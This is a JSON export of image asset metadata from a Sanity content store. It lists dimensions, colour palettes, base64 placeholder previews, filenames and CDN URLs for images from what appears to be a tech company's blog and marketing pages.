{"_createdAt":"2022-10-03T10:29:15Z","_id":"image-6fddd8c1435ca320a7b8a0357a180edc404fbab5-1280x720-jpg","_rev":"vDQRRYe9nRreptIRp9xrCS","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:29:15Z","assetId":"6fddd8c1435ca320a7b8a0357a180edc404fbab5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAgj/xAAgEAABAwQCAwAAAAAAAAAAAAABAAMRAiEzUTJBI0NS/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAECBP/EABkRAAIDAQAAAAAAAAAAAAAAAAABAxHwE//aAAwDAQACEQMRAD8A0iHXxybBl2BfpQK3qfWLvfXW0ncxJqz7KuJ3Vn2UjVy2Y8xU/wCSWxzMXQlmJl29WQ9lCLIcdH//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc0434","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e21b4f","foreground":"#fff","population":3.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aac0c9","foreground":"#000","population":0.98,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa93b1","foreground":"#000","population":0.86,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#885165","foreground":"#fff","population":0.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e21b4f","foreground":"#fff","population":3.29,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"M3-connect.jpg","path":"images/sczeoy4w/production/6fddd8c1435ca320a7b8a0357a180edc404fbab5-1280x720.jpg","sha1hash":"6fddd8c1435ca320a7b8a0357a180edc404fbab5","size":81753,"uploadId":"37hobn4O7DeNmxB8tpTkxYGvXdlyccE2","url":"https://cdn.sanity.io/images/sczeoy4w/production/6fddd8c1435ca320a7b8a0357a180edc404fbab5-1280x720.jpg"} {"_createdAt":"2022-06-30T20:10:51Z","_id":"image-705cdfb7c3c1f21ee80f3bda29a45ed2c675ac78-1021x430-jpg","_rev":"CK1sLU2mnwa3vmbYWEeFKH","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:29Z","assetId":"705cdfb7c3c1f21ee80f3bda29a45ed2c675ac78","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLE-x3?f58qb+h?KxmRqrYskI9N3xux^XN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.374418604651163,"height":430,"width":1021},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAYE/8QAHxAAAQUBAAIDAAAAAAAAAAAAAQACAwQFEQYSEyFC/8QAFgEBAQEAAAAAAAAAAAAAAAAABQIG/8QAHREBAAICAgMAAAAAAAAAAAAAAQACAxEEMQWR4f/aAAwDAQACEQMRAD8Aw4O9nt1YZdSi+zA2M9a0fpRPk96vb0LclaP4YXyEsZznAiJzgLjs2OwYvwrI5LnaSW9g5ziSB9oiLWYvKZWhsPX2XWmzaz//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d2b4c","foreground":"#fff","population":6.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#460d67","foreground":"#fff","population":5.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#beeaea","foreground":"#000","population":6.44,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2d4cc","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#beeaea","foreground":"#000","population":6.44,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7956a0","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4f04f3","foreground":"#fff","population":1.75,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"705cdfb7c3c1f21ee80f3bda29a45ed2c675ac78-1021x430.jpg","path":"images/sczeoy4w/production/705cdfb7c3c1f21ee80f3bda29a45ed2c675ac78-1021x430.jpg","sha1hash":"705cdfb7c3c1f21ee80f3bda29a45ed2c675ac78","size":388684,"uploadId":"lnDzcNYdInO0KVaMfwhELm6yiK8aLBBi","url":"https://cdn.sanity.io/images/sczeoy4w/production/705cdfb7c3c1f21ee80f3bda29a45ed2c675ac78-1021x430.jpg"} {"_createdAt":"2022-10-03T10:31:32Z","_id":"image-70657d34217a54eaf1d676189831fe7126658714-1280x720-jpg","_rev":"vDQRRYe9nRreptIRp9y1kP","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:32Z","assetId":"70657d34217a54eaf1d676189831fe7126658714","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAECAwj/xAAfEAADAAEDBQAAAAAAAAAAAAAAAQIRAxJRITEyQXH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A1DMKYSjPYlGUluXsep0pY4HPivoFmFwAAB//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a5c5c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#661f1e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#828283","foreground":"#fff","population":0.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1c2d4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9cac","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#828283","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d46e6c","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Redis-enjoy.jpg","path":"images/sczeoy4w/production/70657d34217a54eaf1d676189831fe7126658714-1280x720.jpg","sha1hash":"70657d34217a54eaf1d676189831fe7126658714","size":40626,"uploadId":"zR9gI0BASF5Sl4FHpDjBRgmf80eo6UVJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/70657d34217a54eaf1d676189831fe7126658714-1280x720.jpg"} {"_createdAt":"2023-01-31T10:39:47Z","_id":"image-72da79c6890109a268bbdc727f12f7fa6656bf4e-2000x818-png","_rev":"pnOvEyahjeT2Gte9fevHsB","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:51:51Z","altText":null,"assetId":"72da79c6890109a268bbdc727f12f7fa6656bf4e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.444987775061125,"height":818,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABZUlEQVQYlUWRW2/TQBBG/f9/Cw88oKoPjXikCNEgmTYxpG5sZy8z3l3v7MX4sonBDRTpPHzfkUYjzWQUL1dsWCgub/U1v/HfdD5xjDV3YKZMU2q7qe0m41Lnz8rOoCc0a6WwrMZMqAc0k3aJ4mLdyBjsD6wUIWu7iWHPsVc0K0qlHJ7K8FxY2QTrktJj/aTKHI91ADPbcHEuQl0Wu/1zg+vmUzuydjA0ghm2B9rcy093L4cHrlQvGeW3xef3j9utqEQ0diAbWiFPFQMwmaJLA3MjB1SBS/qaiw93xe3N47cvleT2VOn7zf7m3cPmY7H7AVJa0xKiExC0HTPtLgxTI0dQv1D1x4a+7zHfQVlbVBEw/iz1Nuf5TlaNBfRGeQQvIGpKGZqBYy/UoCnZcO782bi04tf7WX82Pik7KZpfTepoAgxcBm3n7KVWh6M8CWv8ekzX/4X6f3+6hqvpl84lDpHJ+Gf4N6Tlus9f6vMPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40405f","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2251","foreground":"#fff","population":1.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2251","foreground":"#fff","population":1.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8c0c8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99e3fb","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab669e","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87218","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-architecture.png","path":"images/sczeoy4w/production/72da79c6890109a268bbdc727f12f7fa6656bf4e-2000x818.png","sha1hash":"72da79c6890109a268bbdc727f12f7fa6656bf4e","size":86818,"title":null,"uploadId":"HMdx1wY6i9xOJJ9liyA9hNnS0bsf1qZL","url":"https://cdn.sanity.io/images/sczeoy4w/production/72da79c6890109a268bbdc727f12f7fa6656bf4e-2000x818.png"} {"_createdAt":"2023-01-10T10:20:10Z","_id":"image-72f8119518d00dbdf8be9fce68609ce08e22738c-2000x1531-png","_rev":"E0WcOAmhawew35VucCkoKY","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T10:21:07Z","altText":null,"assetId":"72f8119518d00dbdf8be9fce68609ce08e22738c","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3063357282821686,"height":1531,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABQklEQVQokY2SCY6EIBBFOU+3yk4Vu4pz/ytNsNTYSTuZF0I08oriI0PvrbVGayWVklJJwTkfx+H1fh3jGeZDdM5ZY/voZYyUapym9z9gh3yIRiklhJimadjZ1wx/yAEALlNKKUTvfDo5S3yTUykpZUQkn9Baq5Pp+QiszHMp1VNsN5kg+WlzRjsDgP50CCnlOI6Pcqk15+K9v2K7t2CMoQg45+KEXodhYHVeaq0ppRhj2PGfAIBzDhG99/SVAuKcs1Ln0jtPMabwDUQEADLjDrUphOhyznlf1EsScMNaS0Hc46Qs2NJarTXGeHfcCcmU3D1FIUSX12cZHCD0413adRGHvKyt1BpT8iGg780D4i4CdBetc/0WjTX953dmf1BacyHZuv0sbautza3N61bnJebiU74P7HMJqcTc55Cyj8lh+AUyl7Xcq1c66QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394c56","foreground":"#fff","population":1.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#404343","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#394c56","foreground":"#fff","population":1.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9acad","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bbbdbe","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a8694","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c8182","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"stream-mastodon-blog-running-code.png","path":"images/sczeoy4w/production/72f8119518d00dbdf8be9fce68609ce08e22738c-2000x1531.png","sha1hash":"72f8119518d00dbdf8be9fce68609ce08e22738c","size":331968,"title":null,"uploadId":"6XU3yPZlyn8MwPnz18VhaulhkHmvBhcP","url":"https://cdn.sanity.io/images/sczeoy4w/production/72f8119518d00dbdf8be9fce68609ce08e22738c-2000x1531.png"} {"_createdAt":"2022-09-02T10:57:05Z","_id":"image-73035f58a6549bdc6aa65b0a6fa770dd168a37b8-1200x630-jpg","_rev":"xlOSxh3AFn1sOxBzrMKKiQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T10:57:05Z","assetId":"73035f58a6549bdc6aa65b0a6fa770dd168a37b8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNPsbZysxuMI.SOsM_s:XmoMyEMcbuxbR5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUEBgf/xAAiEAABAwQCAgMAAAAAAAAAAAABAgMEAAURMQYhEhQVQZH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAL/xAAcEQACAgIDAAAAAAAAAAAAAAABAgADERIiMdH/2gAMAwEAAhEDEQA/AN4fg3FchxTcvxbJykZ1SDmEyVbIrRjzVmQ04lbiVq6KfvFW9oASVnv9pTfbfEmXWD7LCHN7qs2K8TFoRWfDdeSRxi6/L2dmWrHkokHAx2KKZsMNR2g2w2lDY0lIwBRWkBCgGHYwZiVGBP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#594742","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e3206","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d1bd9f","foreground":"#000","population":1.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1bd9f","foreground":"#000","population":1.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f06c94","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#66798c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3620e","foreground":"#fff","population":0.64,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Data_Processing_Agreement_meta_preview.jpeg","path":"images/sczeoy4w/production/73035f58a6549bdc6aa65b0a6fa770dd168a37b8-1200x630.jpg","sha1hash":"73035f58a6549bdc6aa65b0a6fa770dd168a37b8","size":194748,"uploadId":"oIhCverY0ehke8V1abbM2UYNWbq3NAQW","url":"https://cdn.sanity.io/images/sczeoy4w/production/73035f58a6549bdc6aa65b0a6fa770dd168a37b8-1200x630.jpg"} {"_createdAt":"2022-10-25T11:18:56Z","_id":"image-736a37ab3545d8b8d1ac88b6b8a03b8e01f195e8-1300x495-png","_rev":"o6tzS9VqKAkmnDQmLHxXoJ","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T11:18:56Z","assetId":"736a37ab3545d8b8d1ac88b6b8a03b8e01f195e8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D4RMb$?wxvw?_4009a00^*-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6262626262626263,"height":495,"width":1300},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJ0lEQVQYlZXLz0vCYBzH8f27HUohxIhKKfPYNehSXSLRhpXRrUMQRbr1yBxuKlg6c/Tscb/37Nn2PIbBxOjUi8/t+31zud3yYjvl7Nb+2uZeZrt0dHx2wTeq1/e1+l2Fv72s3VSuGlW+fn56cnBYyuYLG/liJl9czxU4AUgCkEQgvQrtxxfh4bn1JEqirHaUXrc3UHp9VVVURVaVTlcGAIgtETTf2k1xMS5OEUJM29GhMf2COoQGQpZtea7loA/zU0YTyYZ97KEoIsuEYylKKcbY+eG6bhD4hIQh9mZwNHmXtGEbTgehbzGaLBNuvoJSmqQopYwxQiKI0EjTxtoYGjAMMWNs+f8r/iuKY2TZOjSQaXp+EMfJ/F/xzLYM0/QxTpKEUbp6/Qbg1XUa2X2b2QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#212a39","foreground":"#fff","population":3.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#745321","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#212a39","foreground":"#fff","population":3.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fb6c0","foreground":"#000","population":0.94,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcfcf4","foreground":"#000","population":1.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#82787a","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2a940","foreground":"#000","population":0.88,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"736a37ab3545d8b8d1ac88b6b8a03b8e01f195e8-1300x495.png","path":"images/sczeoy4w/production/736a37ab3545d8b8d1ac88b6b8a03b8e01f195e8-1300x495.png","sha1hash":"736a37ab3545d8b8d1ac88b6b8a03b8e01f195e8","size":82236,"uploadId":"BR9n3LcwCZ8qgf4ESJcLeht2klAk9683","url":"https://cdn.sanity.io/images/sczeoy4w/production/736a37ab3545d8b8d1ac88b6b8a03b8e01f195e8-1300x495.png"} {"_createdAt":"2022-09-07T11:39:43Z","_id":"image-73a25c406ca043f1861705a1aa9431c4f7f9aeeb-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFjdW","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:43Z","assetId":"73a25c406ca043f1861705a1aa9431c4f7f9aeeb","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACzUlEQVQ4jX2VWWtUQRCFz0xUIrghbiiCu1ETVxARjAoiKiiIGwhucyqJCeKuuDyoCD4rbqgvoo+C4hLBJzX+rzpSdTszkxh8aGru7e7vnqo63QM1ADVQ8wbqEcszvERZ22CJfdXw9rkY/chFNRHLRewqse4EYiRgENAAoPPlA/0FFtDeMjcA+LXqfWyqizgq4k2JU5qwc6miLsNkGTriXYLGKpxU5mup0IkOJwZF/C6xs5lClIFYJMNWEUvF3JgqPZQS02TolmGTiFl+KRTGlw1DbvgTUVaAsaGBqSL2i3gk4oSImak85i4mcKmIKyLuOtHjp6qUQ+GQiD+qYmemFLVpYLoTZ0V8dOKaiHlN9VV2PSKeingrYofOotZSOAo0TNVA1iO6PkNEQ8RnJ26ImB9N8j7UPRxBrBfxwon3Inp9FOiRagG6YZ4bVssynTkizgVQxHURC92ypmtlmF2Az0W8c6JXEwFl2CLDHRn6RCxTlfIXVSkvk+G4DA/csE3EBhHP/gFmM4gRRZcNe2X4JMMTEesC6MRXEVfFVH5Xhh8iDovYWGo4NuXS3RFZ2mafiO8yvHSi24kzIr56BewScV+GX+FZnwgYPszatRQGcNgti90EFoVdMtyT4aeII+MV6j8Kh2V4IaK71LAd2FRYgM/GAovCrGEF3l+AL1X5LIDfSlPWjANuCmDYxicEVilvl+GxDLdELBFxQMwGnRSxOLrvhlcy7BaxQsRNEQ9T7elyUsS0yO8y2ZMqDTvTyEzPHRSxWcTcONduOOSGVSIWiLluj8faXa3bJiwwLOKDE7dluFrGBRkuyXBdhsvx7IYr5flizjPP8ikRK+M+zcu12OFOgUbqIx5NCrPHpVHVN38XN7Svicxe533aQH30Vu4s0FDaX45g1DWaVP0eP1prwhnRoOVxvqFjgIYSWvMq/ahpWKkVJxrta6p9+ffxF3yWl0HUeiN3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e3a2f","foreground":"#fff","population":1.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#992904","foreground":"#fff","population":2.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f76106","foreground":"#fff","population":10.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#754123","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ca7c4f","foreground":"#fff","population":0.87,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa7552","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f76106","foreground":"#fff","population":10.07,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-bar-chart.svg","path":"images/sczeoy4w/production/73a25c406ca043f1861705a1aa9431c4f7f9aeeb-24x24.svg","sha1hash":"73a25c406ca043f1861705a1aa9431c4f7f9aeeb","size":297,"uploadId":"c60ZLYQjeVHTxGvaaWcF4amxjWvNBwzK","url":"https://cdn.sanity.io/images/sczeoy4w/production/73a25c406ca043f1861705a1aa9431c4f7f9aeeb-24x24.svg"} {"_createdAt":"2022-12-09T16:04:35Z","_id":"image-73b26a24fd489f9ba9710576330f4e22841e2602-690x413-jpg","_rev":"Bp455s9rtQ49wRO6vajYXn","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T16:04:35Z","assetId":"73b26a24fd489f9ba9710576330f4e22841e2602","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFCP/EACAQAAICAwABBQAAAAAAAAAAAAECAAMEERITITJCUXH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANRZvfh1W4Qk+pP1EsZStymmx+d6YWfL8lDIqS6oq42Inh4yeXpmdyvt6O9QihCEIV//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a635f","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b6831","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ddf6e4","foreground":"#000","population":2.38,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0c0b8","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ddf6e4","foreground":"#000","population":2.38,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c9484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#35c95e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"compliance-badge-ccpa.jpg","path":"images/sczeoy4w/production/73b26a24fd489f9ba9710576330f4e22841e2602-690x413.jpg","sha1hash":"73b26a24fd489f9ba9710576330f4e22841e2602","size":7726,"uploadId":"ibemU92PA4zxPMWURHWwSKZWRNBuE1kH","url":"https://cdn.sanity.io/images/sczeoy4w/production/73b26a24fd489f9ba9710576330f4e22841e2602-690x413.jpg"} {"_createdAt":"2023-09-08T12:07:33Z","_id":"image-73e2b9daf8692745cb1f1f16dc3c9a42d364f38f-2400x1256-png","_rev":"Dk4vsGyYpr9Xi9g7qzJges","_type":"sanity.imageAsset","_updatedAt":"2023-09-08T12:07:33Z","assetId":"73e2b9daf8692745cb1f1f16dc3c9a42d364f38f","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":1256,"width":2400},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABsUlEQVQokXWS3UtTARyGf7+zE0IQiEFKJaOIUTYKoitvugqSvCk/Nl1NV5n7ONuca5sZmKhhQXbRTQX1r75PHHe0g9jFe/vw8j6v8dw4zpzBgkHBYNnghUHZoGLw2tCaoXVDdUORoZahjqGuoZ6hvqGBYecCl1LA1SGQNYN1g7pBZNAy6BgkQPoGx8BnMcxhIQOFDBQdln0IXDnTsJpq2D6nYf+kYXkMOnlo5WB9AhrXoHUd2ldRdBmqI6h2AXVG0YdJtJNFu1m0l0UHWfRpEn0cRVseAx2iHHwrwOdZ2H4Iu9Nw8Aj2p9H2HWiNoeYltJND3x+jH0/Rzxn0awb9mUW/n6Cvt9H7MGlYuQK9B9DNQ5SFjZvQvQXdG6g9DrWLqD6CeuNobwod3kOHd9GXKXR0Hx3l0f4E2goS4FwAiyEUQ1gKoBRAOYDVAF75vw1rAYpC1A5RJ4O6GdQL0SBOkFiOpcSJwfMpy6X/WK4ZNBLLGwabBieWT6Wkb1NM/TBlOQaeWm6esZx8cNgwvkyceYdFH96m5PDSYcWh4vDG4a1D1aHh0HRoO2w6vHPoOwyG+QvoxOny5wp2JAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb194","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9bd73","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a2755c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"banner-aiven-decathlon.png","path":"images/sczeoy4w/production/73e2b9daf8692745cb1f1f16dc3c9a42d364f38f-2400x1256.png","sha1hash":"73e2b9daf8692745cb1f1f16dc3c9a42d364f38f","size":60641,"uploadId":"xV9PoDKeWy5f5tPZKPSMptQ0TvdeMdBj","url":"https://cdn.sanity.io/images/sczeoy4w/production/73e2